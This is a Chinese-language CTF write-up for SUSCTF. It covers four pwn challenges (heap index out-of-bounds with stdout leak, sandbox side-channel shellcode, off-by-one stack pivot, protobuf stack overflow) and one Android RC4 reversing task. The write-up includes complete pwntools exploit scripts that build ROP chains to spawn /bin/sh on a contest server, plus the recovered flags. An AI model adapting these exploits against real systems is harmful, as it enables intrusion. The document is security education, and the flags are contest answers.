密码爆零了QAQ,pwn的话利用点比较简单,但是挖洞和逆向的过程非常有趣,而且题目本身出的难度不大(除了内核题。)

PWN

babyHeap

babyHeap-分析

  • 做出来的时候就在想是不是非预期了,结合出题人给的提示,我应该是非预期手法做的。非预期手法其实根本不需要打tcache_attack。非预期的利用点在上海磐石中有考过,我也把这题作为stdout利用的例题之一了。IO利用之stdout任意读 | iyheart的博客
  • 先查看保护机制,发现保护全开。

image-20251006232303192

  • 看看IDA pro反编译的这个程序代码,经典的堆菜单题。

image-20251006232332193

  • 漏洞点有两个,第一个在delete这边,存在一个UAF漏洞

image-20251006232412584

  • 第二个在edit这边,存在数组越界

image-20251006232511784

  • 这里我只使用数组越界,不用堆的打法。这里先是数组越界到-8这边,修改stdout结构体,可以泄露libc的地址。
  • 然后再使用一次数组越界,继续修改stdout,此时泄露environ这个保存在libc中的变量,该变量存储的值其实就是栈地址。
  • 这样libc、栈这两个地址都有了,然后需要确定调用edit时返回地址存放的栈地址。
  • 接下来就是最关键的一个点,这个点其实在8月份的上海磐石就已经考过了。在索引-11的这个地方,有一个自己指向自己的.data段。这就给我们提供了一次任意地址写的机会。

image-20251006233111523

image-20251006233124287

  • 此时可以先调用edit()0x564aef61d008 ◂— 0x564aef61d008,修改成0x564aef61d008 —▸ stack_addr
  • 之后再调用edit,此时这样就可以直接修改返回地址,还可以绕过canary
  • exp如下:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
from pwn import *
for i in range(100):
#p = process('./babyHeap')
p = remote('106.14.191.23',53057)
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
context.log_level = 'debug'
def add(content):
p.sendlineafter(b'choice:',b'1')
p.sendafter(b'user name:',content)

def delete(idx):
p.sendlineafter(b'choice:',b'2')
p.sendlineafter(b'enter user id: ',str(idx).encode())

def show(idx):
p.sendlineafter(b'choice:',b'3')
p.sendlineafter(b'enter user id: ',str(idx).encode())

def edit(idx,content):
p.sendlineafter(b'choice:',b'4')
p.sendlineafter(b'enter user id: ',str(idx).encode())
p.sendafter(b'[+] enter new user name: ',content)

# 先使用UAF泄露出堆的地址以便后续利用,但是后面发现UAF没有-11索引好用就放弃了
add(b'a'*8)
delete(0)
show(0)
#gdb.attach(p)
#pause()
p.recvuntil(b'username: ')
leak = p.recvline()[:-1]
print('[+] leak:',leak)
leak = u64(leak.ljust(8,b'\x00'))
key = leak
print('[+] key:',hex(key))
print('[+] leak:',hex(leak))
heap_one = leak*(2**12) + 0x2a0
heap_base = heap_one - 0x12a0
print('heap_one:',hex(heap_one))
print('heap_base:',hex(heap_base))

payload = p64(0xFBDA1800) + p64(0)*3 + p16(0x00)
edit(-8,payload)
sleep(0.1)
libc_leak = p.recvuntil(b'\x7f')[-6:]
print('libc_leak----->',libc_leak)
libc_leak = u64(libc_leak.ljust(8,b'\x00'))
print('libc_leak----->',hex(libc_leak))
#gdb.attach(p)
pause()

if libc_leak & 0xfff == 0x150:
p.recvuntil(b'create')
print('libc_leak----->',hex(libc_leak))
libc_base = libc_leak - 0xf150 - 0x21A000
elif libc_leak & 0xfff == 0x87c:
p.recvuntil(b'create')
print('libc_leak----->',hex(libc_leak))
libc_base = libc_leak - 0x87c - 0x1E2000
elif libc_leak & 0xfff == 0xff0:
p.recvuntil(b'create')
print('libc_leak----->',hex(libc_leak))
libc_base = libc_leak - 0x8BFF0
elif libc_leak & 0xfff == 0x580:
p.recvuntil(b'create')
print('libc_leak----->',hex(libc_leak))
libc_base = libc_leak - 0x21B580
else:
p.close()
continue

environ = libc_base + libc.sym['environ']
print('[+] environ_addr:',hex(environ))
payload = p64(0xFBDA1800) + p64(0)*3 + p64(environ) + p64(environ+8)
edit(-8,payload)
stack_addr = u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
print('[+] stack_addr:',hex(stack_addr))
ret_addr = stack_addr - 0x140

#add(b'a')
#add(b'a')
#delete(1)
#delete(2)
#ret_addrr = stack_addr - 0xE9-0x8 - 0x50
#add(b'a')
#add(b'a')
#delete(5)
#delete(6)
edit(-11,p64(ret_addr))
system_addr = libc_base + libc.sym['system']
binsh_addr = libc_base + next(libc.search(b'/bin/sh\x00'))
#add(b'a')
pop_rdi = libc_base + 0x2a3e5
ret = libc_base + 0x29139
payload = p64(ret)+p64(pop_rdi) + p64(binsh_addr)+ p64(system_addr)
pause()
edit(-11,payload)
#gdb.attach(p)
p.interactive()

image-20251006233413081

babyHeap-flag

1
susctf{th1s_1s_6a6y_h4@p_6842e397e2cb}

jail

真服了这题,原来是静态flag,一直舍不得重置靶机,导致后面死循环进程原来越多,爆破起来非常不流畅。然后重置一回靶机再进行爆破发现非常流畅QAQ,要是在这题花少点时间,估计还可以把密码签到题牢出来的QAQ。

jail-分析

  • 查看一下保护机制,发现也是保护全开。

image-20251006233916204

  • 再进行程序的逆向,发现是个沙箱题

image-20251006234015543

  • 看看沙箱,沙箱出来啥也没有,但是发现是通过prctl()禁用的沙箱。没有仔细了解prctl()的参数,但是平时做沙箱题的时候,会发现使用prctl()开的沙箱的程序。该程序使用seccomp-tools查看禁用规则常常会和输出结果相反。
  • 这题查看的规则是什么都没禁用,那就当他什么都被禁用了,没办法直接打印,那就侧信道爆破,而且flag已经被读到内存中了。

image-20251006234049092

  • 调试的时候会发现存放flag的内存地址在栈上有出现,这样就非常好办了

image-20251006234721027

  • 接下来就是爆破需要用到的shellcode
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
payload = asm(f"""
pop rdi
pop rdi
pop rdi
pop rdi
pop rbx
mov al,0x66
aaa:
cmp al,byte ptr [rbx+1]
nop
nop
nop
nop
nop
nop
nop
je aaa
""")
  • 爆破的完整代码如下:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
from pwn import *
import string
gdbscript=r"""
b *$rebase(0x1447)
set follow-fork-mode child
"""
flag = "susctf{71m3_w1ll_t3ll_"#"w1ll_t3ll_509cb0c1274d}"
#p = gdb.debug('./jail',gdbscript=gdbscript)
#i是爆破flag的索引
x = "_}"+string.digits + string.ascii_letters + "}"
print(x)
candidate = '0123456789abcdef_ABCDEFGHIJKLMNOPQRSTUVWXYZghijklmnopqrstuvwxyz{}'
for i in range(len(flag),0x80):
# j是爆破flag的ascii码
for j in x:
print(f"在爆破第{i}个字符,尝试字符{j},此时flag为{flag}")
#p = process('./jail')
p = remote('106.14.191.23',59387)
#context.log_level = 'debug'
context.arch = 'amd64'
#print(j.to_bytes(1,'big'))
if i == 0:
payload = b'____[\xb0'+j.encode()+b':\x03\x90\x90\x90\x90\x90\x90\x90t\xf5'
else:
payload = b'____[\xb0'+j.encode()+b':C' + i.to_bytes(1,'big') + b'\x90\x90\x90\x90\x90\x90\x90t\xf4'
#b'____[\xb0 ! :C \x02 t\xf9'
p.sendafter(b'Input your code :',payload)
p.recvuntil(b'jail :')
try:
p.recvuntil(b'aaasda',timeout=3.5)
flag += j
print('flag----->',flag)
sleep(0.5)
p.close()
break
except:
p.close()
continue

image-20251006233818330

jail-flag

1
susctf{71m3_w1ll_t3ll_fd9cb0c12d4d}

monitor

这题也折磨了好久,太久没打pwn都在学密码,手生了,再加上自己做题本来就慢。

monitor-分析

这题给了一个程序附件,还给了一个自己编写的动态链接库。

  • 查看一下保护机制,发现canary没有开。

image-20251006235812678

  • 然后直接分析程序,程序的大致逻辑就是:
    • 输入一个文件名,程序可以读取这个文件(有waf,会检查文件路径,是否存在.././/),并且将这个文件内容前0x1000字节读取到内存里面去,并且还会将文件的内容输出出来。
    • 还会检查将要输出的内容是否有子字符串susctf,如果存在该子字符串就会提示要不要继续输出。继续输出的话程序会崩溃,而不输出,该字符串仍然会被保留在内存中。
    • 还有就是输入exit.run会退出程序。

image-20251006235733664

  • 这里的漏洞点其实在这个地方,当时还以为只能off-by-null,但其实是off-by-one

image-20251007000429193

  • 但是要怎么泄露呢?在运行一次这个程序就会发现,当前文件路径下会多了一个log.txt,相当于文件writereadopen的日志。log.txt只会存放着liblayer.so的地址程序的基地址,还会泄露栈地址

image-20251007000716776

  • 并且此时可以进行off-by-one利用这样就可以进行栈迁移,而栈地址又泄露出来,直接栈迁移到栈上,比较有操作性。并且在调试的时候还选用了如下的gadget,发现call 0x5fe9不会使得程序崩溃
1
# 0x000000000000604c: mov edi, 1; call 0x5fe9; pop rbp; ret; 

image-20251007001303999

image-20251007001328823

  • exp如下:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
from pwn import *
p = process('./monitor')

#p = remote('106.14.191.23',57976)
context.log_level = 'debug'
payload = b'aaa'
pause()
p.sendlineafter(b'What file you want open?\n',payload)
p.sendlineafter(b'What file you want open?\n',b'log.txt')
p.recvuntil(b'this file.\n')
leak_libc = p.recvuntil(b', request')[-23:-9].decode()
leak_pie = p.recvuntil(b', request')[-23:-9].decode()
p.recvuntil(b', request')
p.recvuntil(b', request')
leak_stack = p.recvuntil(b', request')[-23:-9].decode()
leak_libc = int(leak_libc,16)
leak_stack = int(leak_stack,16)
leak_pie = int(leak_pie,16)
print('[+]leak_libc----->',hex(leak_libc))
print('[+]leak_pie------>',hex(leak_pie))
print('[+]leak_stack---->',hex(leak_stack))
libc_base = leak_libc - 0x71E8
pie_base = leak_pie - 0x20F0
content_stack = leak_stack - 0x2002
bss_addr = pie_base + 0x4000 + 0x500
# 0x0000000000005ae0 : mov rdx, qword ptr [rbp - 0x518] ; syscall
# 0x00000000000067b2 : mov edx, 0xc9ffffdf ; ret
# rax=1,rdi=1,rsi=content_stack,edx = 0xc9ffffdf
# 0x0000000000006209: mov qword ptr [rbp - 8], rdi; mov rax, qword ptr [rbp - 8]; pop rbp; ret; 等价于mov rax,rdi; pop rbp; ret;
# 0x000000000000620d: mov rax, qword ptr [rbp - 8]; pop rbp; ret;
# 0x000000000000604c: mov edi, 1; call 0x5fe9; pop rbp; ret;
# 0x0000000000005030: mov rsi, qword ptr [rbp - 0x130]; mov edx, dword ptr [rbp - 0x128]; syscall;
mov_rdx = libc_base + 0x67b2
mov_edi = libc_base + 0x604c
mov_rax_rdi = libc_base + 0x6209
mov_rsi = libc_base + 0x5030
print('[+]libc_base:',hex(libc_base))
print('[+]pie_base:',hex(pie_base))
print('[+]content_stack:',hex(content_stack))
p.sendline('flag')
p.sendline(b'n')
ret_stack = leak_stack + 0x86
gad_start = ret_stack - 0x80 + 0x8

print("[+]gad_start:",hex(gad_start))
payload = b'exit.run'+cyclic(0x6+0x8)+p64(mov_rdx)+p64(mov_edi)
payload+= p64(ret_stack-0x8)+p64(mov_rax_rdi)+p64(ret_stack-0x10+0x120)+p64(mov_rsi)
payload+=cyclic(0x87-0x9-0x58-0x6)+p64(content_stack)+p64(0x50)+p64(1)+p64(gad_start)+p8(0x7f)
gdb.attach(p)
pause()
#p.sendline(b'liblayer.so')
p.send(payload)
p.interactive()

image-20251007001526159

monitor-flag

1
susctf{1s_s4fe_t0_put_So_NNuch_Dat4_in_7he_l0g_0088e23e15df}

simple_message

大二的时候安装了一下protobuf的环境,但是关于protobuf的pwn和逆向当时鸽了,没学。这个是比赛的时候现学的。难点在逆向。

simple_message-分析

  • 首先查看一下保护机制,没开pie,这题是静态编译的,所以canary这个检测是有错误的,实际上程序是有开启canary保护的。

image-20251007001821715

  • 接下来就是逆向一下程序:

image-20251007001921249

image-20251007001942423

  • 逆向过程不多说了,直接说漏洞点,漏洞点其实比较简单。在show()函数这边,其实是有一个泄露的,buf这边只有264字节,而输出其实可以输出512字节,这样就可以将canarystack_addr给泄露出来了

image-20251007002211941

  • edit这个函数里面是存在栈溢出漏洞的,难点主要在于逆向protobuf结构体。

image-20251007002431744

  • 首先要确定protobuf结构体在程序中的位置,直接定位message_unpack这个函数的地址个参数,这个参数存放的就是protobuf的一个结构体

image-20251007002529059

  • descriptor下方其实就是我们消息的结构体,直接开始逆向message_namemessage_idmessage_lablemessage_type

image-20251007002734985

  • 其中command还是个枚举类型,还需要逆向枚举类型

image-20251007002900197

  • 之后还原出结构体,使用protoc --python_out=. msg.proto,将其编译成.py文件
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
syntax = "proto3"; # 不知道是proto2还是proto3,直接就先使用proto3了
message msg
{
string username=1;
string password=2;
enum Command {
CMD_UNKNOWN = 0;
CMD_LOGIN = 1;
CMD_ECHO = 2;
CMD_PROCESS = 3;
CMD_EXIT = 4;
CMD_SHOW = 5;
CMD_SPECIAL = 6;
}
Command command=3;
bytes data=4;
int32 size=5;
}
  • 之后还发现有system/bin/sh,剩下的就没难度了

image-20251007003100244

Snipaste_2025-10-07_00-31-10

  • exp如下:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
from os import system
from pwn import *
import msg_pb2
#p = process('./simple_message_patched')
p = remote("106.14.191.23",52871)
context.log_level = 'debug'

def proto_echo(data,size):
msg = msg_pb2.msg()
msg.username = "admin"
msg.password = "P@ssw0rd123"
msg.command = 2
msg.data = data
msg.size = size
return msg.SerializeToString()

def proto_edit(data,size):
msg = msg_pb2.msg()
msg.username = "admin"
msg.password = "P@ssw0rd123"
msg.command = 3
msg.data = data
msg.size = size
return msg.SerializeToString()

def proto_show(data,size):
msg = msg_pb2.msg()
msg.username = "admin"
msg.password = "P@ssw0rd123"
msg.command = 5
msg.data = data
msg.size = size
return msg.SerializeToString()

def proto_hook(data,size):
msg = msg_pb2.msg()
msg.username = "admin"
msg.password = "P@ssw0rd123"
msg.command = 6
msg.data = data
msg.size = size
return msg.SerializeToString()

payload = proto_echo(b'aaa',100)
payload = proto_edit(b'bbbb',100)
payload = proto_show(b'aasdas',264+8+8)
p.sendline(str(len(payload)).encode())
#gdb.attach(p)
#pause()
p.sendafter(b'> Enter message length:',payload)
leak = p.recvuntil(b'> Enter message length:')[-7-0x20-0x10:-0x10-0xa]
leak_stack = leak[-6:]
canary = leak[-6-8:-6]
print('[+] leak:',leak)
print('[+] leak_stack',leak_stack.hex())
print('[+] canary:',canary.hex())
leak_stack = u64(leak_stack.ljust(8,b'\x00'))
canary = u64(canary)
print('[+] leak_stack',hex(leak_stack))
print('[+] canary',hex(canary))
pop_rdi = 0x402748
ret = 0x40101a
system_addr = 0x401FD0
sh_addr = 0x4C1125
payload = b'a'*0x108 + p64(canary) + p64(leak_stack)+p64(pop_rdi) + p64(sh_addr)+p64(system_addr)
payload = proto_edit(payload,310)
p.sendline(str(len(payload)).encode())
pause()
p.send(payload)
"""
0x0000000000402748 : pop rdi ; ret
0x000000000040101a : ret
"""
p.interactive()
  • 这边也附上msg_pb2.py文件
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
# -*- coding: utf-8 -*-
# Generated by the protocol buffer compiler. DO NOT EDIT!
# NO CHECKED-IN PROTOBUF GENCODE
# source: msg.proto
# Protobuf Python Version: 5.29.1
"""Generated protocol buffer code."""
from google.protobuf import descriptor as _descriptor
from google.protobuf import descriptor_pool as _descriptor_pool
from google.protobuf import runtime_version as _runtime_version
from google.protobuf import symbol_database as _symbol_database
from google.protobuf.internal import builder as _builder
_runtime_version.ValidateProtobufRuntimeVersion(
_runtime_version.Domain.PUBLIC,
5,
29,
1,
'',
'msg.proto'
)
# @@protoc_insertion_point(imports)

_sym_db = _symbol_database.Default()

DESCRIPTOR = _descriptor_pool.Default().AddSerializedFile(b'\n\tmsg.proto\"\xdb\x01\n\x03msg\x12\x10\n\x08username\x18\x01 \x01(\t\x12\x10\n\x08password\x18\x02 \x01(\t\x12\x1d\n\x07\x63ommand\x18\x03 \x01(\x0e\x32\x0c.msg.Command\x12\x0c\n\x04\x64\x61ta\x18\x04 \x01(\x0c\x12\x0c\n\x04size\x18\x05 \x01(\x05\"u\n\x07\x43ommand\x12\x0f\n\x0b\x43MD_UNKNOWN\x10\x00\x12\r\n\tCMD_LOGIN\x10\x01\x12\x0c\n\x08\x43MD_ECHO\x10\x02\x12\x0f\n\x0b\x43MD_PROCESS\x10\x03\x12\x0c\n\x08\x43MD_EXIT\x10\x04\x12\x0c\n\x08\x43MD_SHOW\x10\x05\x12\x0f\n\x0b\x43MD_SPECIAL\x10\x06\x62\x06proto3')

_globals = globals()
_builder.BuildMessageAndEnumDescriptors(DESCRIPTOR, _globals)
_builder.BuildTopDescriptorsAndMessages(DESCRIPTOR, 'msg_pb2', _globals)
if not _descriptor._USE_C_DESCRIPTORS:
DESCRIPTOR._loaded_options = None
_globals['_MSG']._serialized_start=14
_globals['_MSG']._serialized_end=233
_globals['_MSG_COMMAND']._serialized_start=116
_globals['_MSG_COMMAND']._serialized_end=233
# @@protoc_insertion_point(module_scope)

image-20251007003401749

simple_message-flag

1
flag{8bded2c3ed85}

RE

android-native

android-native-分析

  • 附件是一个apk文件,并且题目是android-native,应该主要考察的就是native层的逆向。还是按照步骤一步一步来,先将apk安装到雷电模拟器后再打开。发现就是这么一个简单的界面。

image-20251006225103355

  • 然后再使用jadx进行java层的逆向,看看java层有没一些细节的东西。然而并没有,flag的判断逻辑全部都在native层。

image-20251006225154434

  • 那就直接进行native层的逆向分析,将apk文件解压缩,翻到lib文件夹,发现竟然有x86_64so文件,那就直接逆向x86_64so文件。还是x86_64的汇编看得舒服。

image-20251006225323935

  • 使用IDA pro反编译后发现加密逻辑主要就在这两个函数中。

image-20251006225504844

  • 对于sub_950来说,是一个异或赋值操作。

image-20251006225535932

  • 而在sub_A60这边会发现密文,并且密钥其实就是上面异或后的东西。并且根据特征与积累,再加上AI分析一下基本上就能判断出sub_A60就是一个RC4加密算法。

image-20251006225752755

  • 先求出异或后的密钥:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
c = "1m1r6rqro1l~dr"
print(chr(ord(c[0])),end="")
print(chr(ord(c[1])^1),end="")
print(chr(ord(c[2])^1),end="")
print(chr(ord(c[3])^4),end="")
print(chr(ord(c[4])^5),end="")
print(chr(ord(c[5])^1),end="")
print(chr(ord(c[6])^4),end="")
print(chr(ord(c[7])^1),end="")
print(chr(ord(c[8])^9),end="")
print(chr(ord(c[9])^1),end="")
print(chr(ord(c[10])^9),end="")
print(chr(ord(c[11])^8),end="")
print(chr(ord(c[12])^1),end="")
print(chr(ord(c[13])),end="")
# 1l0v3susf0ever
  • 然后直接在线rc4解密即可。

image-20251006225929338

image-20251006225948930

android-native-flag

1
susctf{de094624-8f5b-44dc-810c-58132a2b5ea3}